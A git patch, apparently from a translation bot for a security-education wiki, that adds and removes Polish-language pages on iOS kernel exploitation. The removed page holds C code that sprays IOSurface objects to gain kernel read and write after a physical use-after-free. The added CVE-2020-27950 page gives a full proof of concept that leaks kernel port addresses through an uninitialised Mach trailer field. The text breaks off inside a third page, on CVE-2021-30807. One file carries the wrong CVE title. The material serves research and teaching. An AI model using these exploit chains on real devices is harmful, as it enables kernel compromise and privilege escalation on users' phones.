From 93584888f3039f32c177ca9ac5fcf876fb030422 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Sep 2025 01:01:46 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_ --- src/SUMMARY.md | 4 +- src/binary-exploitation/ios-exploiting.md | 208 ------- .../CVE-2020-27950-mach_msg_trailer_t.md | 332 +++++++++++ .../CVE-2021-30807-IOMobileFrameBuffer.md | 297 ++++++++++ .../ios-exploiting/README.md | 272 +++++++++ .../ios-exploiting/ios-corellium.md | 79 +++ .../ios-example-heap-exploit.md | 205 +++++++ .../ios-physical-uaf-iosurface.md | 215 +++++++ .../linux-post-exploitation/README.md | 31 +- .../privilege-escalation/README.md | 554 +++++++++--------- .../android-app-pentesting/README.md | 540 ++++++++--------- ...-instrumentation-and-ssl-pinning-bypass.md | 80 ++- .../avd-android-virtual-device.md | 119 ++-- .../frida-tutorial/README.md | 59 +- .../install-burp-certificate.md | 54 +- .../pentesting-smb/README.md | 172 +++--- ...bd-attack-surface-and-fuzzing-syzkaller.md | 80 +-- .../pentesting-web/README.md | 229 ++++---- .../electron-desktop-apps/README.md | 202 +++---- .../pentesting-web/laravel.md | 100 ++-- .../pentesting-web/sitecore/README.md | 64 +- .../pentesting-web/wordpress.md | 300 +++++----- .../pentesting-web/wsgi.md | 170 ++++++ src/pentesting-web/cache-deception/README.md | 156 ++--- ...er-gadgets-expandedwrapper-and-json.net.md | 86 +-- src/pentesting-web/file-upload/README.md | 145 +++-- 26 files changed, 3054 insertions(+), 1699 deletions(-) delete mode 100644 src/binary-exploitation/ios-exploiting.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md create mode 100644 src/binary-exploitation/ios-exploiting/README.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-corellium.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md create mode 100644 src/network-services-pentesting/pentesting-web/wsgi.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index e585a1ce6..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,208 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Fizyczne użycie po zwolnieniu - -To jest podsumowanie z posta z [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), ponadto dalsze informacje na temat wykorzystania tej techniki można znaleźć w [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) - -### Zarządzanie pamięcią w XNU - -**Wirtualna przestrzeń adresowa pamięci** dla procesów użytkownika na iOS rozciąga się od **0x0 do 0x8000000000**. Jednak te adresy nie są bezpośrednio mapowane do pamięci fizycznej. Zamiast tego, **jądro** używa **tabel stron** do tłumaczenia adresów wirtualnych na rzeczywiste **adresy fizyczne**. - -#### Poziomy tabel stron w iOS - -Tabele stron są zorganizowane hierarchicznie w trzech poziomach: - -1. **Tabela stron L1 (Poziom 1)**: -* Każdy wpis tutaj reprezentuje duży zakres pamięci wirtualnej. -* Pokrywa **0x1000000000 bajtów** (lub **256 GB**) pamięci wirtualnej. -2. **Tabela stron L2 (Poziom 2)**: -* Wpis tutaj reprezentuje mniejszy obszar pamięci wirtualnej, konkretnie **0x2000000 bajtów** (32 MB). -* Wpis L1 może wskazywać na tabelę L2, jeśli nie może samodzielnie zmapować całego obszaru. -3. **Tabela stron L3 (Poziom 3)**: -* To jest najdrobniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci **4 KB**. -* Wpis L2 może wskazywać na tabelę L3, jeśli potrzebna jest bardziej szczegółowa kontrola. - -#### Mapowanie pamięci wirtualnej na fizyczną - -* **Bezpośrednie mapowanie (Mapowanie blokowe)**: -* Niektóre wpisy w tabeli stron bezpośrednio **mapują zakres adresów wirtualnych** na ciągły zakres adresów fizycznych (jak skrót). -* **Wskaźnik do tabeli stron podrzędnych**: -* Jeśli potrzebna jest dokładniejsza kontrola, wpis na jednym poziomie (np. L1) może wskazywać na **tabelę stron podrzędnych** na następnym poziomie (np. L2). - -#### Przykład: Mapowanie adresu wirtualnego - -Załóżmy, że próbujesz uzyskać dostęp do adresu wirtualnego **0x1000000000**: - -1. **Tabela L1**: -* Jądro sprawdza wpis w tabeli stron L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma **wskaźnik do tabeli stron L2**, przechodzi do tej tabeli L2. -2. **Tabela L2**: -* Jądro sprawdza tabelę stron L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli ten wpis wskazuje na **tabelę stron L3**, przechodzi tam. -3. **Tabela L3**: -* Jądro przeszukuje końcowy wpis L3, który wskazuje na **adres fizyczny** rzeczywistej strony pamięci. - -#### Przykład mapowania adresu - -Jeśli zapiszesz adres fizyczny **0x800004000** w pierwszym indeksie tabeli L2, to: - -* Adresy wirtualne od **0x1000000000** do **0x1002000000** mapują się na adresy fizyczne od **0x800004000** do **0x802004000**. -* To jest **mapowanie blokowe** na poziomie L2. - -Alternatywnie, jeśli wpis L2 wskazuje na tabelę L3: - -* Każda strona 4 KB w zakresie adresów wirtualnych **0x1000000000 -> 0x1002000000** byłaby mapowana przez indywidualne wpisy w tabeli L3. - -### Fizyczne użycie po zwolnieniu - -**Fizyczne użycie po zwolnieniu** (UAF) występuje, gdy: - -1. Proces **alokuje** pewną pamięć jako **czytelną i zapisywalną**. -2. **Tabele stron** są aktualizowane, aby mapować tę pamięć do konkretnego adresu fizycznego, do którego proces ma dostęp. -3. Proces **zwalnia** (uwalnia) pamięć. -4. Jednak z powodu **błędu** jądro **zapomina usunąć mapowanie** z tabel stron, mimo że oznacza odpowiadającą pamięć fizyczną jako wolną. -5. Jądro może następnie **ponownie przydzielić tę "zwolnioną" pamięć fizyczną** do innych celów, takich jak **dane jądra**. -6. Ponieważ mapowanie nie zostało usunięte, proces może nadal **czytać i pisać** do tej pamięci fizycznej. - -Oznacza to, że proces może uzyskać dostęp do **stron pamięci jądra**, które mogą zawierać wrażliwe dane lub struktury, co potencjalnie pozwala atakującemu na **manipulację pamięcią jądra**. - -### Strategia eksploatacji: Spray na stercie - -Ponieważ atakujący nie może kontrolować, które konkretne strony jądra będą przydzielane do zwolnionej pamięci, używają techniki zwanej **heap spray**: - -1. Atakujący **tworzy dużą liczbę obiektów IOSurface** w pamięci jądra. -2. Każdy obiekt IOSurface zawiera **magiczna wartość** w jednym ze swoich pól, co ułatwia identyfikację. -3. **Skanują zwolnione strony**, aby sprawdzić, czy którykolwiek z tych obiektów IOSurface wylądował na zwolnionej stronie. -4. Gdy znajdą obiekt IOSurface na zwolnionej stronie, mogą go użyć do **czytania i pisania pamięci jądra**. - -Więcej informacji na ten temat w [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) - -### Proces sprayowania na stercie krok po kroku - -1. **Spray obiektów IOSurface**: Atakujący tworzy wiele obiektów IOSurface z specjalnym identyfikatorem ("magiczna wartość"). -2. **Skanowanie zwolnionych stron**: Sprawdzają, czy którykolwiek z obiektów został przydzielony na zwolnionej stronie. -3. **Czytanie/Pisanie pamięci jądra**: Manipulując polami w obiekcie IOSurface, uzyskują możliwość wykonywania **dowolnych odczytów i zapisów** w pamięci jądra. To pozwala im: -* Używać jednego pola do **czytania dowolnej wartości 32-bitowej** w pamięci jądra. -* Używać innego pola do **zapisywania wartości 64-bitowych**, osiągając stabilny **prymityw odczytu/zapisu jądra**. - -Generuj obiekty IOSurface z magiczną wartością IOSURFACE_MAGIC, aby później je wyszukiwać: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -Szukaj obiektów **`IOSurface`** w jednej zwolnionej stronie fizycznej: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### Osiąganie odczytu/zapisu w jądrze z IOSurface - -Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (mapowanym na zwolnioną stronę fizyczną dostępną z przestrzeni użytkownika), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**. - -**Kluczowe pola w IOSurface** - -Obiekt IOSurface ma dwa kluczowe pola: - -1. **Wskaźnik liczby użyć**: Umożliwia **odczyt 32-bitowy**. -2. **Wskaźnik znaczników czasowych**: Umożliwia **zapis 64-bitowy**. - -Poprzez nadpisanie tych wskaźników, przekierowujemy je do dowolnych adresów w pamięci jądra, co umożliwia operacje odczytu/zapisu. - -#### Odczyt 32-bitowy w jądrze - -Aby wykonać odczyt: - -1. Nadpisz **wskaźnik liczby użyć**, aby wskazywał na docelowy adres minus offset 0x14 bajtów. -2. Użyj metody `get_use_count`, aby odczytać wartość pod tym adresem. -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64-Bit Kernel Write - -Aby wykonać zapis: - -1. Nadpisz **wskaźnik znaczników indeksowanych** na docelowy adres. -2. Użyj metody `set_indexed_timestamp`, aby zapisać 64-bitową wartość. -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### Podsumowanie przepływu exploitów - -1. **Wywołaj fizyczne Use-After-Free**: Zwolnione strony są dostępne do ponownego użycia. -2. **Spray obiektów IOSurface**: Przydziel wiele obiektów IOSurface z unikalną "magiczną wartością" w pamięci jądra. -3. **Zidentyfikuj dostępny IOSurface**: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz. -4. **Wykorzystaj Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić dowolne **odczyty/zapisy jądra** za pomocą metod IOSurface. - -Dzięki tym prymitywom, exploit zapewnia kontrolowane **odczyty 32-bitowe** i **zapisy 64-bitowe** do pamięci jądra. Dalsze kroki jailbreak mogą obejmować bardziej stabilne prymitywy odczytu/zapisu, które mogą wymagać ominięcia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e). - - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..0335e119a --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## Błąd + +Masz [świetne wyjaśnienie tej podatności tutaj](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ale w skrócie: + +Każda wiadomość Mach, którą otrzymuje kernel, kończy się **„trailerem”**: strukturą o zmiennej długości zawierającą metadane (seqno, sender token, audit token, context, access control data, labels...). Kernel **zawsze rezerwuje największy możliwy „trailer”** (MAX_TRAILER_SIZE) w buforze wiadomości, ale **inicjalizuje tylko niektóre pola**, a następnie **decyduje, który rozmiar „traileru” zwrócić** na podstawie **opcji odbioru kontrolowanych przez użytkownika**. + +To są struktury traileru istotne dla sprawy: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +Następnie, gdy obiekt trailer jest generowany, tylko niektóre pola są inicjalizowane, a maksymalny rozmiar trailer jest zawsze zarezerwowany: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +Na przykład, przy próbie odczytania wiadomości Mach za pomocą `mach_msg()` wywoływana jest funkcja `ipc_kmsg_add_trailer()`, która dołącza trailer do wiadomości. W tej funkcji obliczana jest wielkość trailera i wypełniane są inne pola trailera: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +Parametr `option` jest kontrolowany przez użytkownika, więc **należy przekazać wartość, która przejdzie sprawdzenie `if`.** + +Aby przejść to sprawdzenie, musimy wysłać prawidłowy obsługiwany `option`: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +Ale ponieważ `MACH_RCV_TRAILER_MASK` jedynie sprawdza bity, możemy przekazać dowolną wartość między `0` a `8`, żeby nie wejść do instrukcji `if`. + +Następnie, kontynuując analizę kodu, znajdziesz: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Gdzie widać, że jeśli wartość `option` jest większa lub równa `MACH_RCV_TRAILER_AV` (7), pole **`msgh_ad`** jest inicjalizowane na `0`. + +Jak zauważyłeś, **`msgh_ad`** wciąż było jedynym polem traileru, które nie zostało wcześniej zainicjalizowane i mogło zawierać leak z wcześniej użytej pamięci. + +Zatem, aby uniknąć jego inicjalizacji, należy przekazać wartość `option` równą `5` lub `6`, tak aby przeszła pierwszy warunek `if` i nie weszła w ten `if`, który inicjalizuje `msgh_ad`, ponieważ wartości `5` i `6` nie mają przypisanego żadnego typu traileru. + +### Basic PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. + +### Leak Kernel Address PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **doda kilka adresów kernelowych do wiadomości**, so one of them can be leaked. + +Dodano komentarze dla lepszego zrozumienia: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## Źródła + +- [Wpis na blogu Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..ff47649f6 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## Opis luki + +You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary: + +- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**. + +- That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\ +> **Wynik:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**. + +> [!NOTE] +> To zostało naprawione w **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** + + +> [!WARNING] +> Początkowa funkcja wywołania `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` jest chroniona przez entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Jednak, **WebKit.WebContent** ma to entitlement, więc może być użyte 